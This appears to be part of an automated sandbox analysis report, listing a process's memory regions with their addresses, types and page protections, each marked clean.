heap default
page read and write
 clean
2260000
unkown
page read and write
 clean
31D7000
unkown
page read and write
 clean
1BD30000
unkown
page read and write
 clean
22E4000
heap private
page read and write
 clean
85F000
unkown
page read and write
 clean
58B6000
unkown
page read and write
 clean
3713000
unkown
page read and write
 clean
3B05000
unkown
page read and write
 clean
226D000
unkown
page read and write
 clean
7FF001D0000
unkown
page execute and read and write
 clean
39DD000
unkown
page read and write
 clean
2A80000
unkown
page read and write
 clean
300000
unkown
page read and write
 clean
2570000
unkown
page readonly
 clean
2F4000
heap private
page read and write
 clean
3B06000
unkown
page read and write
 clean
7040000
heap private
page read and write
 clean
29FB000
unkown
page readonly
 clean
690000
unkown
page read and write
 clean
C94000
unkown image
page readonly
 clean
660000
unkown
page read and write
 clean
1B0000
unkown
page read and write
 clean
154000
heap private
page read and write
 clean
21B0000
unkown
page read and write
 clean
4130000
unkown
page read and write
 clean
3B68000
unkown
page read and write
 clean
20000
unkown
page read and write
 clean
3161000
unkown
page read and write
 clean
2B66000
unkown
page read and write
 clean
2200000
unkown
page execute and read and write
 clean
3716000
unkown
page read and write
 clean
297000
heap default
page read and write
 clean
498E000
unkown
page read and write
 clean
13D000
unkown
page execute and read and write
 clean
1AE50000
unkown
page read and write
 clean
2890000
unkown
page read and write
 clean
294A000
unkown
page read and write
 clean
684000
unkown
page read and write
 clean
27BA000
unkown
page read and write
 clean
179000
unkown
page read and write
 clean
120000
unkown
page write copy
 clean
2E80000
unkown
page read and write
 clean
2560000
unkown
page read and write
 clean
365F000
unkown
page read and write
 clean
3558000
unkown
page read and write
 clean
7EF39000
unkown
page read and write
 clean
2EFC000
unkown
page read and write
 clean
31F000
unkown
page read and write
 clean
306B000
unkown
page read and write
 clean
96F4000
unkown
page readonly
 clean
2C8F000
unkown
page read and write
 clean
3AC2000
unkown
page read and write
 clean
2BB000
heap default
page read and write
 clean
12DD1000
unkown
page read and write
 clean
660000
unkown
page read and write
 clean
7FF00190000
unkown
page execute and read and write
 clean
2180000
unkown
page execute and read and write
 clean
1BAA0000
heap private
page read and write
 clean
2890000
unkown
page read and write
 clean
130000
unkown
page read and write
 clean
2FEC000
unkown
page read and write
 clean
C94000
unkown image
page readonly
 clean
1B0000
unkown
page read and write
 clean
3B11000
unkown
page read and write
 clean
2380000
unkown
page execute and read and write
 clean
2B40000
unkown
page readonly
 clean
1DD000
heap default
page read and write
 clean
2890000
unkown
page read and write
 clean
440000
unkown
page read and write
 clean
35E0000
unkown
page read and write
 clean
29FE000
unkown
page read and write
 clean
3312000
unkown
page readonly
 clean
2FF9000
unkown
page read and write
 clean
30CF000
unkown
page read and write
 clean
22A0000
unkown
page readonly
 clean
3C89000
unkown
page read and write
 clean
7FF00102000
unkown
page execute and read and write
 clean
2F9F000
unkown
page read and write
 clean
2CEF000
unkown
page read and write
 clean
23FD000
unkown
page read and write
 clean
35E5000
unkown
page readonly
 clean
67DE000
unkown
page read and write
 clean
1DF0000
unkown
page readonly
 clean
2F90000
unkown
page readonly
 clean
1BD30000
unkown
page read and write
 clean
2520000
unkown
page readonly
 clean
1BE0000
unkown
page read and write
 clean
399C000
unkown
page read and write
 clean
2260000
unkown
page read and write
 clean
310000
unkown
page read and write
 clean
C6D7000
unkown
page read and write
 clean
D0000
unkown
page readonly
 clean
2FAC000
unkown
page read and write
 clean
41C000
heap default
page read and write
 clean
1B510000
unkown
page readonly
 clean
A330000
unkown
page write copy
 clean
660000
unkown
page read and write
 clean
318E000
unkown
page read and write
 clean
4070000
unkown
page readonly
 clean
4B4E000
unkown
page read and write
 clean
35F9000
unkown
page readonly
 clean
1EF0000
unkown
page execute and read and write
 clean
1C0000
unkown
page readonly
 clean
2B60000
unkown
page read and write
 clean
2CF0000
unkown
page read and write
 clean
590000
unkown
page readonly
 clean
65C000
unkown
page read and write
 clean
660000
unkown
page read and write
 clean
2B50000
unkown
page readonly
 clean
4ACB000
unkown
page read and write
 clean
3BA7000
unkown
page read and write
 clean
3AA3000
unkown
page read and write
 clean
1C730000
unkown
page read and write
 clean
4090000
heap private
page read and write
 clean
2260000
unkown
page read and write
 clean
2F1E000
unkown
page read and write
 clean
3AEF000
unkown
page read and write
 clean
2BC000
unkown
page read and write
 clean
3109000
unkown
page read and write
 clean
310000
heap default
page read and write
 clean
2F78000
unkown
page read and write
 clean
3197000
unkown
page read and write
 clean
3665000
unkown
page readonly
 clean
1B9D0000
unkown
page read and write
 clean
78EE000
unkown
page read and write
 clean
28B4000
unkown
page read and write
 clean
2B80000
unkown
page read and write
 clean
27A0000
unkown
page read and write
 clean
1BD0000
unkown
page read and write
 clean
2C10000
unkown
page read and write
 clean
3990000
unkown
page read and write
 clean
2ABA000
heap private
page execute and read and write
 clean
4AF0000
heap private
page read and write
 clean
2E2E000
unkown
page read and write
 clean
1FCD000
unkown
page read and write
 clean
302E000
unkown
page read and write
 clean
12E31000
unkown
page read and write
 clean
3B98000
unkown
page read and write
 clean
7FF00180000
unkown
page read and write
 clean
393E000
unkown
page read and write
 clean
1C730000
unkown
page read and write
 clean
C8CE000
unkown
page read and write
 clean
2700000
unkown
page readonly
 clean
1BDF000
unkown
page read and write
 clean
1B41A000
unkown
page read and write
 clean
2DF1000
unkown
page read and write
 clean
1B4A6000
unkown
page read and write
 clean
2400000
unkown
page readonly
 clean
187000
unkown
page execute and read and write
 clean
4234000
unkown
page read and write
 clean
510000
unkown
page readonly
 clean
2890000
unkown
page read and write
 clean
340000
heap default
page read and write
 clean
39F0000
unkown
page read and write
 clean
20000
unkown
page read and write
 clean
304F000
unkown
page read and write
 clean
192000
unkown
page read and write
 clean
348000
heap default
page read and write
 clean
2F1A000
unkown
page read and write
 clean
1DD000
unkown
page execute and read and write
 clean
2A30000
unkown
page readonly
 clean
679000
unkown
page read and write
 clean
27A0000
unkown
page read and write
 clean
2D30000
unkown
page read and write
 clean
2340000
unkown
page readonly
 clean
12E80000
unkown
page read and write
 clean
7FF00180000
unkown
page execute and read and write
 clean
A53E000
unkown
page read and write
 clean
CC73000
unkown
page read and write
 clean
1BF0000
heap private
page read and write
 clean
1E3000
heap default
page read and write
 clean
9E0000
unkown
page read and write
 clean
1BCF0000
heap private
page read and write
 clean
2890000
unkown
page readonly
 clean
1E00000
heap private
page read and write
 clean
CA8000
unkown image
page readonly
 clean
2E81000
unkown
page read and write
 clean
2C70000
unkown
page read and write
 clean
AA0000
unkown
page execute and read and write
 clean
F0000
unkown
page write copy
 clean
372C000
unkown
page read and write
 clean
27A0000
unkown
page read and write
 clean
364000
unkown
page read and write
 clean
7FF00260000
unkown
page read and write
 clean
3A72000
unkown
page read and write
 clean
39EB000
unkown
page read and write
 clean
3168000
unkown
page read and write
 clean
4930000
unkown
page read and write
 clean
1B0000
unkown
page read and write
 clean
3B8000
heap default
page read and write
 clean
7FF001E0000
unkown
page read and write
 clean
1E60000
unkown
page readonly
 clean
2F0F000
unkown
page read and write
 clean
2F52000
unkown
page read and write
 clean
3A10000
unkown
page read and write
 clean
3154000
unkown
page read and write
 clean
3582000
unkown
page read and write
 clean
320000
heap private
page read and write
 clean
7FF00170000
unkown
page execute and read and write
 clean
1E9000
heap default
page read and write
 clean
480A000
heap private
page read and write
 clean
7FF00160000
unkown
page execute and read and write
 clean
8951000
unkown
page readonly
 clean
7FF00020000
unkown
page read and write
 clean
1B447000
unkown
page read and write
 clean
3679000
unkown
page readonly
 clean
30B000
unkown
page read and write
 clean
20000
heap private
page read and write
 clean
3F0000
heap default
page read and write
 clean
1F5000
unkown
page read and write | page guard
 clean
1C30000
unkown
page read and write
 clean
550000
heap private
page read and write
 clean
91F000
unkown
page read and write
 clean
7FF00230000
unkown
page execute and read and write
 clean
27A0000
unkown
page read and write
 clean
4440000
unkown
page read and write
 clean
1B5A000
unkown
page read and write
 clean
24E000
heap default
page read and write
 clean
3C40000
unkown
page readonly
 clean
1B9D0000
unkown
page read and write
 clean
1C72E000
unkown
page read and write
 clean
2E70000
unkown
page read and write
 clean
7FF000D5000
unkown
page read and write
 clean
2A60000
heap private
page execute and read and write
 clean
7EFDF000
unkown
page read and write
 clean
94CF000
unkown
page readonly
 clean
2260000
unkown
page read and write
 clean
500000
unkown
page readonly
 clean
6F0000
unkown
page readonly
 clean
12F61000
unkown
page read and write
 clean
1BD0000
unkown
page read and write
 clean
8FA000
unkown
page read and write
 clean
4E34000
unkown
page read and write
 clean
1F90000
unkown
page readonly
 clean
C8A0000
heap private
page read and write
 clean
CCF0000
unkown
page read and write
 clean
1B510000
unkown
page readonly
 clean
12F72000
unkown
page read and write
 clean
420000
unkown
page read and write
 clean
AFC0000
heap private
page read and write
 clean
2666000
unkown
page read and write
 clean
2260000
unkown
page read and write
 clean
43AE000
unkown
page read and write
 clean
CBB0000
unkown
page read and write
 clean
600000
unkown
page read and write
 clean
3B83000
unkown
page read and write
 clean
A40000
unkown
page read and write
 clean
1B950000
unkown
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
7FF001A0000
unkown
page read and write
 clean
1E0000
unkown
page read and write
 clean
316D000
unkown
page read and write
 clean
2EF9000
heap private
page read and write
 clean
A20000
unkown
page execute and read and write
 clean
1B80000
unkown
page read and write
 clean
24B0000
unkown
page write copy
 clean
2E5F000
unkown
page read and write
 clean
3532000
unkown
page read and write
 clean
1FF7000
unkown
page read and write
 clean
3898000
unkown
page read and write
 clean
225000
heap private
page read and write
 clean
27A0000
unkown
page read and write
 clean
370000
unkown
page read and write
 clean
27B0000
unkown
page read and write
 clean
7FF00022000
unkown
page execute and read and write
 clean
3328000
unkown
page read and write
 clean
CA8000
unkown image
page readonly
 clean
9475000
unkown
page readonly
 clean
3036000
unkown
page read and write
 clean
BD0000
unkown image
page readonly
 clean
C88000
unkown image
page execute read
 clean
2890000
unkown
page read and write
 clean
29A0000
heap private
page read and write
 clean
2F3E000
unkown
page read and write
 clean
540000
unkown
page readonly
 clean
2570000
unkown
page readonly
 clean
There are 1698 hidden memdumps, click here to show them.